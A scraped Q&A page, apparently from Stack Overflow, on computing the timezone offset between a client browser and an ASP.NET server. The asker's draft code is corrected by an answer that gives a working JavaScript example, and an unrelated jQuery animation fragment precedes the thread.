    "bottom": "4px",
    "height": "17px",
    "font-size": "1em",
    "left": "80px",
    "line-height": "17px",
    "width": "100px"
}).delay(2000).fadeOut('slow').css({
    "height": "100px",
    "width": "200px",
    "font-size": "1.4em",
    "line-height": "100px",
    "bottom": "100px"
}).center();});​

http://jsfiddle.net/2qJfF/

Get timezone difference between client and server

9 votes

If my user is in California and they have their computer set to PST, it's 1:00 pm there. If my server is set to EST, the current server time is 4:00 pm.

I need a way to get the timezone difference between the client and the server, either in Javascript or C#. In my example, I would get 3 (or -3, doesn't matter).

Does anyone know how to do this?

EDIT: Possible solution for RedFilter

Doing it all in javascript:

serverDate = new Date('<%= DateTime.Now.ToString() %>');
clientDate = new Date();
diffMin = (serverDate.getTime()-clientDate.getTime())*1000*60;  //get difference in minutes

Think that would work? Or would both of those return the same time?

You could:

1 - Return the server date to the client as a Javascript date variable.
2 - Create a new javascript date client side (var currentTime = new Date();) and subtract the above date
3 - Post the result back to the server (if necessary; you may only need to know the difference client-side).

Update

Here is an example:

<script>
serverDate = new Date('<%= DateTime.Now.ToString() %>'); 
clientDate = new Date(); 
diffMin = (serverDate.getTime()-clientDate.getTime())/(1000*60);      alert("serverDate: " + serverDate + "\r\n" + "clientDate: " + clientDate + "\r\n" + "diffMin: " + diffMin);
</script>

If the server and client are on the same machine, you will see a diffMin approaching zero. There is a slight difference between the dates due to the time between the server-side script generating the date and the browser parsing and executing the javascript.